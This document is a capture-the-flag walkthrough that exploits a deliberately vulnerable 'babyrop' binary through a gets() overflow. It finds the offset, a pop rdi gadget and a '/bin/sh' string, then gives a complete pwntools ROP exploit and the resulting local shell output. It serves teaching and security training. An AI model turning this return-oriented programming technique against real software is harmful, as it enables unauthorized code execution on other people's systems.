

>_ CTF CHALLENGE WALKTHROUGH

BabyROP: Exploitation & Payload Engineering

A step-by-step weaponization walkthrough: from cyclic crash triage to root shell invocation.

Static Binary x86_64

No Stack Protector

No PIE

Deconstructing babyrop.c

```
void target(char* executable) {
    char* argv[] = {executable, NULL};
    printf("Jackpot! Now going to run %s\n", executable);
    execve(executable, argv, NULL);
}

int vuln() {
    char buf[16];
    gets(buf); // ← Vulnerability
    return 0;
}
```

target() Function

Executes any binary passed as 1st argument.

vuln() Primitive

16-byte buffer corrupted via unbounded gets().

Attack Objective

Point RDI to "/bin/sh" then call target().

STEP 01

Determining the Offset to RIP

1. Generate Cyclic Pattern

```
$ cyclic 40  
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaaajaaa
```

Feed pattern into binary inside GDB.

2. Inspect Fault Address

```
$ cyclic -l 0x61616167 ; 'gaaa'  
[*] Exact offset: 24
```

16 bytes (buf) + 8 bytes (saved RBP) = 24 bytes.

STEP 02

Resolving target() Function Address

```
# Symbol table dump via objdump  
$ objdump -t babyrop | grep target  
  
0000000000401b55 g F .text target
```

Static virtual address constant across all executions.

NO-PIE GUARANTEE

Code remains pinned at 0x400000.

DIRECT EXECUTION TARGET

target_addr = 0x401b55

STEP 03

Finding the pop rdi ; ret Gadget

```
# Automated gadget extraction  
$ ROPgadget --binary babyrop | grep "pop rdi ; ret"  
  
0x0000000000401d83 : pop rdi ; ret
```

Pops the adjacent 8-byte stack value into RDI register.

Why this gadget?

Loads our string pointer into RDI for target().

Static Binary Benefit

Thousands of gadgets exist without external libc.

STEP 04

Sourcing the `"/bin/sh"` String

OPTION A: INTERNAL STATIC STRING

```
$ strings -t x babyrop | grep "/bin/sh"  
0x49c120 /bin/sh
```

Directly available in static libc rodata.

OPTION B: WRITING TO .BSS

```
read(0, bss_addr, 8)  
Send "/bin/sh\x00" into writable section
```

Standard fallback if no string exists.

STEP 05

Payload Memory Layout

1. Buffer Fill

`b"A" * 16` (fills `buf[16]`)

2. Saved RBP

`b"B" * 8` (clobbers frame pointer)

3. Return Address (RIP)

`p64(pop_rdi_ret)` [0x401d83]

4. Value for RDI

`p64(bin_sh_addr)` [0x49c120]

5. Call Target

`p64(target_addr)` [0x401b55]

STEP 06

Full Exploit in Pwntools

```
from pwn import *

io = process('./babyrop')

POP_RDI    = 0x401d83
BIN_SH     = 0x49c120
TARGET     = 0x401b55

payload = b"A" * 24      # 16-byte buf + 8-byte saved RBP
payload += p64(POP_RDI)   # Gadget: pop rdi ; ret
payload += p64(BIN_SH)    # Loaded into RDI (arg 1)
payload += p64(TARGET)    # Redirect to target()

io.sendlineafter(b"Gimme some data!\n", payload)
io.interactive()
```

STEP 07

Payload Execution & Shell Verification

```
[+] Starting local process './babyrop': pid 28491
Gimme some data!
Jackpot! Now going to run /bin/sh
[*] Switching to interactive mode

$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
```



Target function hijacked, argument delivered, interactive shell established.



Exploit Complete & Validated

You have successfully traversed memory layout analysis, gadget chaining, and automated payload execution.

Brown Bag Q&A Ready